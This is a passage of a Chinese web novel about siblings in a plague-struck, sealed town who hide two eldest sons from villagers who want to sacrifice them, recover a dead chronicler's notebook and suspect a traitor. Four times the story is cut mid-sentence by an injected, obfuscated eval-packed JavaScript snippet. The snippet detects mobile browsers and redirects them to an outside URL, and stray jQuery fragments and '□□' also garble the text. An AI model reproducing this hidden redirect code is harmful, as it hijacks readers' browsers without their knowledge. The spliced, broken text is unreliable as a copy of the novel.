但无论未来怎样,她都要尽全力把当前的事情做好,最起码想办法让家里人喝上干净的雨水。
她不是没想过用井水,只是自从大雨下起来,井中打上来的水就多了一股刺鼻的鱼腥味,喝到喉咙里黏滑无比,恶心又反胃。
父母现在还卧床不起,脾气也变得暴躁,她们把不多的饭放在门前,确认他们离开后,父母才会从房间出来将饭菜吃掉。
只有从消失的饭菜中,奈绪才能察觉到父母还活着的迹象。
而每天提供他们一碗清水,也成了姐弟三人每天必须的任务。
将雨水打满,他们三人轮流将盆,壶提回房间,灌到大缸里。
一天内,阴雨连绵,他们三人一直忙碌着。
中村提着一桶水,还是趿拉着那双破拖鞋,脸上一副无所谓的样子,但手腕上凸起的淡青色血管表现出,他已经用了全力。
他忽然停下,鼻子动了动,神情异样,对奈绪说:“姐,你闻到什么味道没有?”
奈绪:“什么味道?”
“就在我身上。”中村说:“我身上一股血腥味。”
院子浸在一片黑暗和潮湿中,奈绪只能看见中村提着水桶的模糊身影。
奈绪站在屋子里朝他招招手“你先过来。”
中村拎着水桶费力走进屋内,将水桶咚一声放
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977567|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下,桶中的水□□右倒,撒在地板上一大块。
奈绪的脸色变得苍白,嘴唇哆嗦着,骂了一句脏话。
中村疑惑地看着奈绪,奈绪已经冲出房子,站在雨幕中,伸出双拳用力捶打着空气。
中村觉得奈绪的样子有些滑稽,忍不住笑道:“姐,你在干什么?”
奈绪转过身,黑亮的眼眸如寒冰般冰冷,恨意从眼中迸发,她仰起脸看着天空,看着这片漆黑的夜幕,感受着血水在她脸上滴落,流到她唇边,带来奇异的咸腥。
奈绪恨恨地说:“我在痛殴上帝。”
头发上的液体流到下巴,中村用手背擦拭,忽然看见手背上一抹红。
他愣住了,看向提着的水桶,水还在摇晃,血水从桶中泼出,撒了他一鞋子。
中村面无表情,看向站在血雨中的奈绪,沾着血的睫毛颤动:
“姐,我会死,对不对?不管是以什么方式。”
血水之灾降临,下一灾便是长子之灾。
奈绪慢慢从血雨中走进屋子,浑身是血抱住中村,手不停拍着他的背,话语已经哽咽:“中村……你,你不该就这样死去啊……我们已经熬到现在了……也许,也许明天一切都会好呢?”
一只温热的手加入了他们两人的拥抱,由子抱着他们二人,看着二人的样子,她很快意识到发生了什么。
中村眼角两颗泪珠滚落,倏然抬头对由子说:“姐,右一他……他也是家中长子,你最好现在去看看他,不然可能以后就再也看不到了。”
第二天一早,由子便穿了一双雨靴,穿过半个小镇去找右一。
右一由爷爷抚养长大,爷爷不堪忍受蝗虫后遗症的困扰,早早便去世了,自那以后,就只有他独自居住在这个小镇街角的房子中。
由子带着几棵刚从地里挖出的青菜,走过遍积着血水的街道。
清新的绿色与红色映在一起,分外夺目。
“你们凭什么抓我!凭什么!”
右一的声音突然响起,由子加快脚步赶到右一门前,房门开着,房间内有几个血脚印。
声音来自楼上,由子不敢贸然上去,她站在房子对面,向二楼望去。
窗前,窗户打开着,右一的身子探出半边,整个人几乎挂在窗外,衣领被一只粗壮的手臂死死拽着。
他身旁站着镇长,拽着他手的是另一个壮汉,右一的表情崩溃而绝望:“我知道你们想干什么,你们是想拉我去送死,死我一个不够,你们还要搭上更多的人!你们这帮无耻败类,你们这帮千鱼镇的蠹虫!”
啪!
他脸上挨了一巴掌,半边脸迅速肿起,他想挣开那只胳膊,却看见了街对面的由子。
由子手上的青菜掉下,落入泥泞的血水中,只剩一棵攥在手心。
右一拼命挣扎起来,将男子的手臂咬下一块肉,呸一声吐掉,决绝地向后倒去,整个人从窗边摔下。
啪。
他从二楼摔下,落入污水中,磕到了后脑勺陷入了昏迷。
楼上的镇长愣了一下,几人加快脚步向楼下冲去:“这个高度摔不死他,快,快捉到他!”
由子干脆地将手上握的最后一棵青菜扔掉,咬牙将右一背上,左右看了看,闪身躲进了精神病院。
18. 血水
月亮昏惨惨地挂在漆黑无比的天空,薄而亮的月光将千鱼镇照得明亮。
而月光没有照到的地方,仍是一片黑暗,只有极少处闪着星星点点的烛火。
而万千闪耀着的烛火中,有一盏刚刚消失。
噗——
油灯灭了,一小缕灰白色的烟顺着流动的空气上升,奈绪的脸完全沉在黑暗中。
她转过身,将手肘支着桌子,皱起眉头,她对面是由子几人。
镇民们分成了几个阵营,站在镇长那一边的居多。
在大多数人看来,牺牲一小部分人就能拯救大多数,这个选择没什么不好,况且,这道献祭长子的命令,是由遥远世界的神明下达的,它刻在鱼鳞上,通过井水的指示降临,给处于绝望中的镇民最后一点生的希望。
而奈绪却不同意,一个刻在鱼鳞上的字,谁都能伪造,更何况,倘若这些所谓的神明的指示是真的,那么神在哪里?如何确认神给的是指示,而不是看镇子热闹的一个恶劣的玩笑?
降临在镇子上的一重又一重的灾难,没有停息的时候,看来神明并不想拯救他们。
这种做法,无非是想要镇子再损失一批镇民罢了。老年,中年,青年,镇子的人口数量正在锐减。
她无力与大多数镇民对抗,只能选择更好的方式:躲藏。
他们藏在精神病院中。
自从小百合那次闯入,将精神病院中所有的灯全部关灭后,精神病人的影子出现,带领包括爱子在内的大部分精神病人完成了出逃。
他们进入了空气,去向更高一层维度的世界。
而剩下的那些没有形成影子的人,在镇子陷入困难,不能再为精神病院提供保障时,也纷纷从精神病院撤出,住回家中。
如今,精神病院是一座废弃的楼,墙皮剥落,灰尘横生,地上全是凌乱的脚印,大部分的窗户都被石子打碎,地上全是碎裂的玻璃片。
他们不敢贸然点灯,不希望引起追捕人员的注意。
现在坐在正厅里的有她们姐弟三人,右一,友树,龙太郎,再加上雄一,一共六个人。
父母被她们安排在三楼的房间里,他们依然不肯出门,甚至不肯见儿女,对此,奈绪无可奈何,只好由他们去。
奈绪敲了敲桌子,表情肃然:“各位安静一下。”
由子嘘了一声,吵闹的几人安静下来。
奈绪:“我们现在集思广益,如何保住右一与中村两人,以及如何应对后续镇民们的计划,提防可能会出现的各种情况。大家有什么想法,都提一提。”
她坐在桌子正对面,背靠着墙壁,明明才高三,说话却已经像个大家长了。
众人面面相觑,交头接耳讨论了几分钟,最后,龙太郎率先开口:
“这几天,大雨刚停,外面道路上积的全是水,高度足足到腰,所有人都被困在家里,因此逮捕计划也暂停了,依我看,这是一个逃跑的好时机,如果镇子里有船,能沿着海岸一直走,想必能走出镇子。”
“你说的好听。”友树揶揄:“现在镇子上哪里来的船,况且要是有船,镇长他们想不到吗?”
龙太郎推了下眼睛,轻咳一声,表情有些尴尬。
奈绪:“你说的有一部分是对的,现在确实是逃跑的最好时机,船也是我们必须的,即便不能从海面逃脱,作为一个航行工具来用也是十分方便的。”
奈绪转向右一:“右一,你手里那本圣经能拿来让我看看吗?”
右一头发盖住眼睛,瘦削的下巴有些苍白,他弯下腰从书包里翻找,虚弱得让人怀疑他下一秒就会栽倒过去。
他从书包深层翻出那本破破烂烂的圣经,放到桌面上滑给奈绪,奈绪手指点着圣经,倒拨过来翻开。
手指在一页上点了点,她捂住脸揉了一把,轻声开口:“前面的蝗虫,苍蝇,虱子,血水,冰雹等灾难,想必大家都已经见识过了,与圣经有些许不同的便是顺序。”
“那枚鱼鳞莫名在镇长的井中出现,如果不是有人所为的话,那就是镇子陷入了诅咒,而这是更高级别的文明对我们开的一个充满恶意的玩笑,它们想看我们深陷困境,互相残杀,而我们也确实做到了,甚至做得更过分。”
她声音有些沙哑,血雨污染了水源,她已经许久没有喝水了:“如果我们小镇真的有诅咒,并且这诅咒与天罚有关,那我们即便从沿着海岸走,也一定会重新回到镇子,这是它们的游戏规则,我们逃不脱的。”
全场陷入沉默,他们都垂着头,眼睛盯着木纹桌面。
他们不是没想过这种可能性,只是一直欺骗自己,只要走出镇子就好,只要走出去,一切故事就都结束了。
奈绪接着说道:“我只想知道,小镇过去有没有出现过这种情况,如果有,又是怎么解决的?这种天罚局面,是只有我们这一次有,还是从前出现过?”
“可镇子中的老人都在最近去世了,我们怎么知道?”由子插话。
奈绪发愁地揉着紧蹙的眉心,龙太郎忽然开口:“我是在镇子上长大的。”
“我和骏平我们都是在小镇上长大的,对千鱼镇有很深的感情。小时候我们常常在镇子上转来转去,那时候有个镇民,叫由村,刚开始是由村的父亲负责记录小镇中发生的事情,后来由村长大了,记录这些的任务就交给了他,不过……他现在已经去世了。”
“他是怎么去世的?”奈绪扬眉。
龙太郎:“当时送去医院,发现是心脏病发,当时他的遗物还被亲人们完好地保存着,不过现在不知道怎么样了。”
由子摸着下巴,“他就是镇子上最开始死亡的那个老人?”
“对,那时候他是镇子上最年长的老人。”
有血腥气顺着半扇破碎的窗户刮进房间,奈绪站起身,从抽屉里拉出两个垃圾袋,撕开封在窗户上。
“雨又下起来了。”奈绪封上窗户前,最后看了一眼窗外。
她转身,将两只手支在桌子两旁,声音清澈而洪亮:“明天,我和由子一起去找由村,试一试能不能找到小镇的历史记录本,右一,中村守在这里,友树,龙太郎老师和雄一一起去外面找些还能喝的水。”
童稚的笑声从雄一怀中发出,夏美躺在父亲的怀抱里,小脸粉嫩,看着奈绪一脸严肃的样子,笑得直往父亲怀里躲。
奈绪脸沉了几秒钟,也跟着噗嗤一声笑了,其他人也跟着笑起来,尤其是右一,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977568|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑得肚子都痉挛了,揉着肚子哎呦哎呦叫,眼角都笑出泪花,边笑边说:“哎呦,怎么会这么荒谬,就在几个月前,我们这里还是法治社会呢。”
第二天天刚蒙蒙亮,奈绪和由子就从二楼楼梯上下来。
一楼的门关闭着,但水位和外面是一样的,血水一直没到她们腰部。
在及腰的水中行走,任何衣服都失去了防水的作用,奈绪和由子也就一切从简,只穿了短袖长裤和凉鞋,两人拽着一根绳子的两头,防止被突如其来的乱流卷走。
打开门,血雨还在下,雨伞已经没了必要,无论如何都会被打湿的,奈绪和由子索性迈开步子,在血水中一只手划着,在水流中稳住身形,往街道上走去。
镇子上的大多数房子都被水淹了,腐朽的木板一碰就塌,街道上也有许多因水流冲刷而形成的大坑,这是两种最危险的安全隐患。
她们小心地走着,通过一条绳子互相牵扯,两条街道已经甩在身后。
忽然,奈绪身子一滑,整个人向后倒去,头部浸在血水中,手脚乱划,口中吐出一串串气泡,肺中全是血腥气。
她陷进一个深坑,不受控制地向打着漩涡的坑中心滑去,只能用力扯紧手中的绳子。
幸好,绳子的另一头还在。
由子死死扯着绳子,抵抗着擦过腰部的乱流,脚蹬紧地面,忍着刺鼻的血腥味,将奈绪从坑底一寸一寸拖拽,直到奈绪的头部浮出水面。
奈绪差点就被卷走了。
在一片耀眼的白光中,奈绪在由子的怀中苏醒,她揉了揉眼睛,问:“我睡了多久?”
由子:“你昏过去了。”
“我们现在是在哪里?”
由子:“我们快到了。”
她们正在一栋空房子内,血水淹到了楼梯的一半,她们躺在另一半楼梯上,浑身湿透。
奈绪讪笑:“我说怎么这么硌呢,原来我们躺在这里。”
由子鼻子一皱,就要掉下眼泪:“我还以为你醒不过来了呢,你还有心思开玩笑。”
奈绪擦去由子脸上的泪珠,拍拍肩膀站起来:“走吧,还有事情要做呢。”
“你好,有人吗?”奈绪笃笃笃敲了三下门。
房内一片寂静。
奈绪将耳朵贴紧木门,又敲了一下:“有人吗?”
她听见痰黏在气管里的声音以及浊重的呼吸声,奈绪悄悄指了指木门,意思是:有人。
她正想接着敲门,身后却涌来一股乱流,她身形不稳,竟将门推开了。
露出一条漆黑的小缝,她推开门,和由子一起走了进了房间。
房子是个小平房,东西大多被水泡过,一个黄色的水盆漂浮在水中,木制家具全部损坏,倾倒了半边。
奈绪的脚经常踩到东西,一次是拖鞋,一次是铁锅,她将它们踢到一旁,朝着偏门的小房间而去。
里面几乎什么家具都没了,只剩下一张铁制的双层床,床层床下铺浸在血水中,上铺铺了一张床垫,一个人裹在毯子里,喉咙像许久没清过的烟囱,呼吸声浊重。
他裹着毯子,慢慢转过身,一双死鱼眼穿过铁杆看向下面的奈绪:
“你们来干什么?”
19. 第 19 章
奈绪与由子对视一眼,奈绪开口:“你好,我们听说您父亲是记录镇子历史的,想来——”
那人不耐烦地打断她们,说:“你们不知道他死了吗?”
“知道,但这个对我们很重要,如果找出这份记录,说不定能找到走出镇子的方法。”
男子斜睨一眼这两个稚气未脱的女孩,从鼻腔里哼出一声:“也就你们还会做做梦了。”
由子:“请问这个东西存放在哪里了?”
男子强撑着从上铺坐起身,喉咙里的浓痰呼噜响:“要,可以,但我有条件。”
他眼中掠过一丝精明的光。
“你们把我也带过去。”
他掀开毯子,露出两截断裂的腿:“父亲死后,我的腿在镇子的械斗里断了,竟然没有感染死掉,不过坚持到现在也快不行了,现在没办法动。”
奈绪:“你怎么证明你说的是真的?”
男子苦笑:“我现在骗你们还有什么意义?”
“我父亲把他的记录带入了坟墓,没有我,光凭你们两个永远也找不到。”
奈绪诧异,她本以为由村会把记录放在家中。
奈绪爬到上铺,架住男子的两只胳膊,将他往下拽,由子在下面接着,男子极度瘦弱,身子很轻,好像一碰就要散架了。
由子:“你是想去看看你的父亲?”
男子:“算是吧。”
“你叫什么名字?”奈绪问。
“快死了要什么名字。”男子冷哼。
奈绪和由子一人架着男子的一边肩膀,在漫到街道的血水中一小步一小步地行走,防止步子过大身形不稳被乱流冲翻。
据男子所说,由村的墓葬在隧道南边的高地,被一大片树木环绕着,墓穴上铺了一块刻着父亲名字的石板。
走过隧道,奈绪下意识往入口扫了一眼,隧道幽深,里面仍堆着那堆损毁的公交车铁架,隧道的一切好像都没变,只是一半的隧道浸在水中。
她好想走进去……
走进去,走进去……
一次又一次朝希望走去,就算会迷失在墙壁中,也好过现在……
有个声音在她脑中响起:
过来啊……
再试一次……
不会有危险的,奈绪,任何情况都比现在好,不是吗?
奈绪紧抓着男子的手不自觉松脱了,眼睛也变得茫然,像是失去了自己的意识,她往隧道入口走去。
“奈绪!”
由子看她不对劲,急忙喊了一声,奈绪才忽然从这种谵妄的状态中苏醒。
“你刚才是怎么了?”由子问。
奈绪眨眨眼:“我也不知道,总觉得隧道里有什么东西在叫我。”
由子起了一身鸡皮疙瘩,神色顿敛:“不要进去,知道吗?以后你如果要到这里,一定要有我陪着。”
奈绪点点头,男子不耐烦地催促着,她们也就加快步伐,往南面的山坡上走去。
越往山坡上面走,离水面越远,她们逐渐走出及腰身的水,落到被雨水浸得湿滑的土地上。
踩上泥土时,奈绪还有种做梦般的感觉。
沿着山坡向上走,地上原本铺了一层鹅卵石小路,但经过多日雨水的冲刷,只剩下零零星星的几颗。
她们顺着这条并不清晰的石子路向上走,直到男子将手指向一片光秃秃的树林:“就在那里。”
进入树林后,奈绪她们将男子靠到一棵树边,开始在树林里寻找那块隐藏的石板。
两人找了半个小时,最后在树林的西边找到一个刻着由村名字的石板。
石板放置时间并不长,所以由村的名字还没被雨水冲刷干净。
她们将男子架到石板边,男子用断了半截的食指轻轻触碰着石板,像一个天真的孩童一样,将头颅低下,在石板上贴了一会儿。
末了,他直起身子,说:
“挖吧。”
石板很重,奈绪和由子费了很大力气,才勉强移开一点,男子看着急得面红耳赤的两人,忍不住笑了。
男子:“你们笨不笨啊。”
由子瞪了一眼:“难道你聪明?”
男子指了指山坡上四周落下的树枝,说:“把这些枝条塞在开口的缝隙里,慢慢垫高,能省力得多。”
由子和奈绪对视,彼此都有些尴尬。
由子:“也许这是个好主意呢?”
她们捡来一堆树枝,塞进石板的缝隙,将石板慢慢垫高,最后共同用力一推,石板整个翻倒,露出下面的一块黑亮的棺材板。
奈绪:“这还是我第一次干这事。”
由子白了她一眼:“搞得好像我不是一样。”
两人深吸一口气,手握住棺材板,用力掀开,本以为会闻到尸体的味道,没想到棺材中放的竟然是一个骨灰盒,一时间都有些诧异。
男子:“我父亲说了,他死后把他的尸体给烧掉,防止污染典籍,我虽然不知道这么做是为了什么,现在看到你们,我倒是清楚了。”
除了骨灰盒,墓穴里还用几层厚厚的塑料布包裹着什么东西。
奈绪将塑料布层层扯开,露出里面淡蓝色的一角,是一个笔记本的封面。
此时雨还在下,奈绪确认没拿错东西后,将笔记本重新用塑料裹上,塞到怀中。
奈绪:“我们走吧。”
由子和奈绪两人去架男子的胳膊,男子却摆摆手,拒绝了两人。
奈绪:“怎么,你不走?”
男子摸了一把花白的头发,又拍了拍两条无力的腿:“看见没,我岁数很大了,估计活不下去了。”
他两只手陷在土壤中,慢慢往墓穴爬去,由子惊叫:“你要干什么?”
男子没有回答,只是爬到墓穴中,抱住了父亲的骨灰盒。
男子:“东西已经给你们了,你们走吧。”
奈绪:“你是想死在这里?”
男子别过脸去:“不关你们的事。”
奈绪:“你这样寻死,让我们怎么走?”
男子在墓穴中转过身,捡起掉落在墓穴中的枝条,朝奈绪扔去:“快走!快走!我死了关你们什么事?镇子封了这么久,你们还没明白这个道理吗?”
奈绪躲避着飞来的枝条,厉声说:“我不懂,我也不想懂!你自己寻死,我们自然不管你,但偏偏你又是我们两个架过来的,你在这里死了,我们回想起来,让我们内疚一辈子,这算是怎么回事!”
枝条
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977569|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扔尽了,奈绪和由子一起跳进墓穴,将男子从墓穴中拉出来。
男子拼命挣扎,两人费了劲绞住他的手,男子用力抵抗着,头朝着墓穴的方向,一边流泪一边怒喝:“让我死!让我死!”
奈绪努了努嘴,由子:心领神会,将骨灰盒抱起,两个人架起男子,三人往树林外走去。
见拗不过奈绪两人,男子慢慢安静下来,直到到了平房,两人才将男子放下。
奈绪爬到上铺,将男子从由子的手中拖上来,将骨灰盒放在旁边。
整个床铺都湿了,那条毯子也脏污无比,又湿又黏,奈绪看着这副场景,犹豫不决,看向由子。
由子看出了奈绪的心思,直截了当地问男子:“你有吃的吗?”
男子愣了一下,没有想到由子会问这样一个问题,神色骤然变作警惕:“你们要干什么?”
奈绪:“有吃的就好,你这里没办法住了,把吃的东西拿上,和我们一起走吧。”
男子以为奈绪两人是想明抢,奈绪迅速解释让他的脸蒙上一层羞惭的红色,他抓紧身下的床单,声音微哑:“好。”
于是大街上出现了这样一副奇怪的画面:
两个少女架着一个失去两条腿的老年人,他身后背着一个鼓鼓囊囊的包裹,手中抱着一个方方正正的盒子。
混杂着雷霆之声的暴雨顺着狂风劲刮着她们的脸,她们在暴雨中前进。
奈绪觉得自己的身体像一只漂泊的小船,随时都会船仰人翻,但还好有一条锁链紧紧拉着风雨中的小船,那是她们的手,她们的手紧紧拉在一起,像一条坚实的锁链。
奈绪从未觉得自己如此有力量过。
“有人吗?”奈绪敲了敲门。
门内什么声音都没有。
也是,中村和右一正躲避着镇民的追捕,有些警惕心也是好的。
奈绪推开门,三人鱼贯而入,她们像鱼一样在血水中滑行,后腿用劲前蹬,扒到了楼梯口。
勉强擦了擦身体后,三人顺着楼梯往二楼走去。
精神病院有很多病房,每个病房都用铁丝网隔开,公共洗漱区域分布在东边和西边,病院虽然只有三层,但是格外宽敞。
奈绪不敢把声音放太大增加他们二人暴露的风险,她和由子一起顺着宽敞的走廊,一间病房一间病房检查,而男子被她们安排在靠楼梯的一个隔间里暂作休息。
“中村,右一——”奈绪放低声音,每经过一间病房就小声喊一遍。
没有人回应她。
两人在走廊中间碰头。
奈绪:“你那边找到了吗?”
“没有,你呢?”
“我这边也没有。”
由子:“那怎么办?”
奈绪:“上三楼看看。”
三楼更加寂静,她们转了一圈,也没有找见他们二人的身影。
楼下有动静,奈绪撕开垃圾袋的一角,从缝隙往楼下瞧,看见友树,龙太郎,雄一三人已经回来了,而夏美被绑在雄一胸前的包裹里,嘴巴一撇,正哇哇大哭。
夏美的哭声聒噪,奈绪紧绷着的情绪被哭声搅得烦躁,再也控制不住自己的声音,对着三楼大喊:
“你们到底去哪里了——”
20. 血水
雨,好大的雨。
如同银盆倾倒,雨水肆意冲刮着糊了塑料布的窗户,塑料袋被狂风吹得猎猎作响。
奈绪,由子和刚回来的一群人坐在一起,烛光惨惨,他们的脸上都渡了一层稀薄的火光,眼睛无神,满是悚然。
雄一面容僵硬,扯开嘴角道:“他们两个……应该是被抓走了。”
一听到奈绪的叫喊,他们就冲上楼去,谨慎地检查了房间的所有角落,没有藏人。
唯一异样的,便是三楼的门。
出门寻找能用的水源之前,他们特意叮嘱过右一和中村,躲在三楼的房间中,不许出来。
房间连通了卧室和厕所,还悲了一些水源和食物,在里面待上一天是没什么问题的。
而三楼的门更是异常坚固,这是过去关押精神病人的房间,房门设了几层锁,只有内部和外部同时动作,房门才能打开。
而奈绪回来时,房门开着,里面已经没了人。
奈绪瞥了门一眼,重新检查一遍,门锁完好,没有任何暴力闯入的迹象,她抬起脸,雄一视线幽幽,眸色深沉,和奈绪对视。
他轻轻点了点头。
“由子。”奈绪招招手,“先让大家吃饭吧,忙了一天了。”
奈绪张开双手,抱住夏美,夏美脸上还有残存的泪珠,奈绪用指腹轻柔擦拭着,又揉了一下夏美的头发,故意放大声音,惊叫道:“雄一叔叔,夏美怎么受伤了?头上肿了个包?快,我药箱里有药,先给她抹上。”
雄一心领神会,跟着奈绪沿着楼梯走了下去,穿过走廊来到僻静的房间。
房间里几乎什么都没有,只有药箱和两三把凳子,奈绪在凳子上坐下,药箱放在腿上,颔首示意雄一坐下。
确认外面没有人的脚步声后,雄一微微点头。
奈绪这才开口:“看来我们的想法是一致的。”
“我们的人中出了叛徒。”
右一和中村都是值得信赖的人,绝不会贸然给陌生人开门,门锁也没有任何损坏。
只可能是右一与中村相熟的人,在外部打开房门,同时右一两人在内部打开。
开门后,也许是那个人迷晕了两人——
不对。
奈绪摇头,那个人一定有帮手,或者说,他负责当诱饵诱导打开房门,而后其他人闯入,将两人绑走。
奈绪脸色阴冷得吓人,语气淡淡:“今天我和由子一同出门,可以互相作证,你那边呢?”
雄一擦了下额角渗出的汗水,他被自己的猜测搅得心神不宁,语气微顿:“我,龙太郎,友树,我们三人一出街道便被乱流冲散了,直到天快黑,我们才在附近集合,一起回来。”
奈绪:“你们都带回什么东西?”
雄一神色微凛:“我找到一出空房子,在里面找到几包饼干,以及几件趁手的武器。”
“友树找到几瓶干净的水,一路背了回来。”
“龙太郎他背回了一个包,到现在还没看过。不过他自己说是一些衣服。”
只可惜地板泥泞,没有办法分辨有谁提前回来过。不然只要一看脚印干涸程度,谁撒了谎就不攻自破了。
奈绪将这些话默默记在脑中,又拿出镇子的地图仔细对照,末了叹息一声,重新收起。
奈绪从口袋中拿出笔记本,笔记本被塑料布层层包裹,她将塑料扯开,幸好,除了表面被淋湿一小块外,其余部分都是干燥的。
她掏出一盒火柴,在雄一的目光下又点亮一个油灯,放到靠近笔记本的位置。
雄一抱着夏美凑过来,拉一张凳子坐下,奈绪翻开封皮,在发黄的纸页间寻找。
她没有将内容念出,但顺着她在薄纸上不断划动的指尖,两人都看得清楚。
根据笔记所说,千鱼镇建立最初,这里不过是一片临海的荒地,并未有人在此探索过。
当第一批人来到这里时,镇子并不和平,时常会有青蛙,虱子等灾害泛滥,也曾经出现过这种镇子封闭的情况。
不过历史上,这种情况持续的时间并不长。
奈绪翻看着笔记本,笔记本中画了几个简单的路线图,标记了几处灾害发生的地点,并将这些地点连成了线。
奈绪将手边的镇子地形图和笔记本上的地形图对照起来。
当时镇子各个建筑的位置与现在不同,奈绪用油灯照着,光线亮了些,隐藏的痕迹逐渐显现。
地点出现了重叠,分别是:
学校,隧道,海边。
同时,多年前灾难走过的路线也与如今灾难的路线发生了重叠。
是一个“井”字。
镇长的房子被困在最中间,“井”字贯穿了镇子,灾难发生的路线也沿着“井”字的笔画进行。
奈绪想起第一次蝗虫爆发的时候,龙太郎和镇长骏平讨论的内容,那时候他们还在疑惑虫巢的位置为什么会呈现这样排列。
雄一顿时瞪大眼睛,一脸不可思议:“难道我们这次灾难的降临和多年前的这些事情一样?”
奈绪敲敲桌子:“我们显然比以前严重太多了。”
从前这些镇子封闭一天两天,对镇子的运行无伤大雅,更没有什么血水之灾降临。
“他们从前是用什么办法解决的?”雄一声音低哑,不安地看着门口,提防着其他人的出现。
奈绪手指在笔记的一页上停下,喃喃自语:“不对啊……”
“哪里不对?”
奈绪:“笔记上所记,这些灾难最后一次出现是在五十年前,那个冬天,镇子上出现了为期三天的封闭,公交车无法驶出镇子,而当时镇子上出现了小面积的恐慌情绪。”
“他们的解决办法是什么?”
奈绪罕见沉默了,雄一接过奈绪手中的笔记,盯着瞧了半分钟,上下颚格格作响。
“敲钟?”他恨恨地说:“钟在哪里?”
一行人吃过晚饭后,一同坐在桌子前。
外面雨下得愈发大了,雷声似乎在楼顶滚来滚去,水已经涨到了二楼,二楼积了一层薄薄的血水,没办法再住人了。
街道之上,血水重刷得更激烈了,一楼的房子都被冲得破碎,窗户歪着,许多店铺残败的牌匾被冲得螺丝松动,嘎吱作响,下一秒就会脱离墙壁卷入湍流。
二楼没法住人了,奈绪将男子喊出,引他到三楼。
“你带他回来干什么?多一个人就多一张嘴啊。”友树不满。
奈绪:“你今晚吃的就是他的饭。”
男子简单介绍了自己,他叫刚志,六十三岁,从小跟随父亲在镇子上居住,父亲长寿,一百多岁,不久前刚刚去世。
几人一见如故,很快热络地聊起天来。
当天半夜,男子留在房中,而奈绪和其他人一起,全副武装出了门。
雨水淹到了二楼,为了出门,他们打开了三楼的窗户,跳进水中。
临走前,龙太郎从黑色书包中拿出几件能遇水充气的衣服,给他们换上,这种衣服不能在洪流中支持太长时间,他们拆了精神病院中的几块泡沫板当做浮板,同时用绳子绑在腰上,防止洪流将他们冲走。
龙太郎刚从包里将安全服拿出来,就察觉到背后一丝若有若无的眼神,他扭过头去,雄一立刻别过脸,哼着歌抱着夏美离开。
“莫名其妙。”龙太郎冷哼一声,推了推眼镜。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977570|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“抓紧了!”奈绪腰上勒紧绳子,右手扒住一块泡沫浮板,左手在脸上抹了一把。
血水仍然顺着她脸颊流下,但她已经不再害怕,脸上是诡异的平静。
由子安全衣进了空气鼓起,整个人漂浮在水面上,她与奈绪离得最近,两人作为队伍的前锋,在黑暗中前进着。
潮水退去,黑夜降临。
其他人到夜晚都会慌张不安,奈绪对黑暗却有一种莫名的依赖。
自从镇子进入灾难状态,镇民就失去了从前的平和,资源的争夺是这几个月来的主题,独自走在街上,都有可能遭受到镇民的袭击。
从前,珠惠的爸爸骏平还在时,镇子还尚未陷入疯癫的状态,而现在,镇子已面目全非。
只有在黑夜中,别人看不清他们,不知晓他们的踪迹,他们才能获得真正的安心与自由。
他们隐没在黑暗中,在水上随水波漂浮,像一群湿了翅膀的飞蚁。
即便我们是蚂蚁,我们也要活下去。
奈绪在心中默念着这句话:
我要活下去。
我要活下去。
没人能取我的命,谁敢要我的命,我就和他斗到底。
和镇长骏平的两层小房不同,新任镇长的房子是一栋三层小楼,一楼和二楼的灯光都因为雨水而熄灭了,三楼亮着灯光,窗户用窗帘遮住,看不清里面的情形。
奈绪稳住步子,手扯着绳子,一群人往对面的小楼游去。
夏美眨着眼睛,处在黑暗中靠着父亲温热的胸膛,一言不发,圆眼睛滴溜溜转,她的眼睛什么也看不见,茫然地瞪着黑暗中游动的人影。
雄一的身形忽然一滞,绳子倏然勒紧,乱流冲击,身体不受控地旋转起来,夏美感到自己的身体被父亲抱紧,父亲低低地喊:“有乱流!小心,都抓紧都抓紧!”
话刚落,雄一身旁的龙太郎就被乱流卷着,瘦弱的身板承受不住激流,手足无措地被乱流冲向远方。
而他背后背着的那个黑书包,也与龙太郎失散,被卷进漩涡,龙太郎顾不上自身安全,一猛子扎进水中去寻找。
“你疯了!”
